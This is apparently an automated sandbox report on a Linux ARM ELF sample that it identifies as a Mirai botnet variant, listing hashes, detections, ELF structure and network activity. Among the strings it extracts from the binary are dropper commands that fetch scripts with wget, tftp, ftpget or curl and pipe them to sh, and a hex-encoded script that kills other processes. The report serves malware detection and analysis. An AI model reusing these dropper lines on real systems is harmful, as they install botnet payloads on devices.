Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
nshkarm6.elf

Overview

General Information

Sample name:nshkarm6.elf
Analysis ID:1579231
MD5:8e09219ce1e5dff5d28a0c271c633f96
SHA1:fca88e59d1047eaa0204e6eadae0c79e05296b78
SHA256:f2d26503080e63d91b0c35a5674f07cd169ab5f91057da90023228dba5b57a48
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1579231
Start date and time:2024-12-21 06:11:13 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 27s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:nshkarm6.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
Command:/tmp/nshkarm6.elf
PID:5507
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • nshkarm6.elf (PID: 5507, Parent: 5425, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nshkarm6.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
nshkarm6.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5507.1.00007f58e4017000.00007f58e402c000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: nshkarm6.elfReversingLabs: Detection: 36%
      Source: nshkarm6.elfString: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: nshkarm6.elfString found in binary or memory: http:///curl.sh
      Source: nshkarm6.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname Kamru
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./Galaxy selfrep
      Source: Initial sampleString containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
      Source: Initial sampleString containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./Galaxy selfrepI just wanna look/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"arm5arm6arm7mipsmpslppcspcsh4
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/nshkarm6.elf (PID: 5507)Queries kernel information via 'uname': Jump to behavior
      Source: nshkarm6.elf, 5507.1.00007fff4bc6d000.00007fff4bc8e000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/nshkarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nshkarm6.elf
      Source: nshkarm6.elf, 5507.1.000055c2e3eeb000.000055c2e4019000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
      Source: nshkarm6.elf, 5507.1.000055c2e3eeb000.000055c2e4019000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: nshkarm6.elf, 5507.1.00007fff4bc6d000.00007fff4bc8e000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: nshkarm6.elf, 5507.1.00007fff4bc6d000.00007fff4bc8e000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: nshkarm6.elf, type: SAMPLE
      Source: Yara matchFile source: 5507.1.00007f58e4017000.00007f58e402c000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: nshkarm6.elf, type: SAMPLE
      Source: Yara matchFile source: 5507.1.00007f58e4017000.00007f58e402c000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      nshkarm6.elf37%ReversingLabsLinux.Backdoor.Mirai
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.24
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shnshkarm6.elffalse
          high
          http:///curl.shnshkarm6.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comMozi.m.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            arm6.nn.elfGet hashmaliciousMirai, OkiruBrowse
            • 162.213.35.24
            arm.nn.elfGet hashmaliciousMirai, OkiruBrowse
            • 162.213.35.25
            ppc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            nsharm.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            arm.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            nshkarm5.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            ppc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            arm6.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.134827945066002
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:nshkarm6.elf
            File size:87'384 bytes
            MD5:8e09219ce1e5dff5d28a0c271c633f96
            SHA1:fca88e59d1047eaa0204e6eadae0c79e05296b78
            SHA256:f2d26503080e63d91b0c35a5674f07cd169ab5f91057da90023228dba5b57a48
            SHA512:8d0c38535ede5a2797b5793920f39a0ccaf4ce19efe4b94203466c16953bfb736e159a617511412a4e2e4c55e4ba4d6390841466c7f83df6071630a6908fa794
            SSDEEP:1536:wUn+Q4U1iHB6RCLDCJ2L90GhNfoade4NsnYMziULMlRTIKG7lW5SY+ni8VRblLz:F7aBiCfCIL90+NfoadoLMlRTIKGpW8Bz
            TLSH:F0830856B9818B11D5C552BEFE1E528D331317BCD2DE72129E20AB247B8B86B0E3B905
            File Content Preview:.ELF..............(.....T...4...xS......4. ...(.....................tL..tL...............P...P...P......\...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..S.......P....-.@0....S

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:ARM
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x8154
            Flags:0x4000002
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:86904
            Section Header Size:40
            Number of Section Headers:12
            Header String Table Index:11
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x80940x940x100x00x6AX004
            .textPROGBITS0x80b00xb00x12e7c0x00x6AX0016
            .finiPROGBITS0x1af2c0x12f2c0x100x00x6AX004
            .rodataPROGBITS0x1af400x12f400x1d340x00x2A008
            .init_arrayINIT_ARRAY0x250040x150080x40x00x3WA004
            .fini_arrayFINI_ARRAY0x250080x1500c0x40x00x3WA004
            .gotPROGBITS0x250100x150140x740x40x3WA004
            .dataPROGBITS0x250840x150880x2800x00x3WA004
            .bssNOBITS0x253040x153080x545c0x00x3WA004
            .ARM.attributesARM_ATTRIBUTES0x00x153080x100x00x0001
            .shstrtabSTRTAB0x00x153180x5d0x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x80000x80000x14c740x14c746.19120x5R E0x8000.init .text .fini .rodata
            LOAD0x150040x250040x250000x3040xd75c3.84670x6RW 0x8000.init_array .fini_array .got .data .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
            TimestampSource PortDest PortSource IPDest IP
            Dec 21, 2024 06:12:07.384809971 CET4179753192.168.2.141.1.1.1
            Dec 21, 2024 06:12:07.384910107 CET3405553192.168.2.141.1.1.1
            Dec 21, 2024 06:12:07.614469051 CET53417971.1.1.1192.168.2.14
            Dec 21, 2024 06:12:07.614489079 CET53340551.1.1.1192.168.2.14
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Dec 21, 2024 06:12:07.384809971 CET192.168.2.141.1.1.10x16c8Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Dec 21, 2024 06:12:07.384910107 CET192.168.2.141.1.1.10xe1e0Standard query (0)daisy.ubuntu.com28IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Dec 21, 2024 06:12:07.614469051 CET1.1.1.1192.168.2.140x16c8No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
            Dec 21, 2024 06:12:07.614469051 CET1.1.1.1192.168.2.140x16c8No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

            System Behavior

            Start time (UTC):05:12:05
            Start date (UTC):21/12/2024
            Path:/tmp/nshkarm6.elf
            Arguments:/tmp/nshkarm6.elf
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1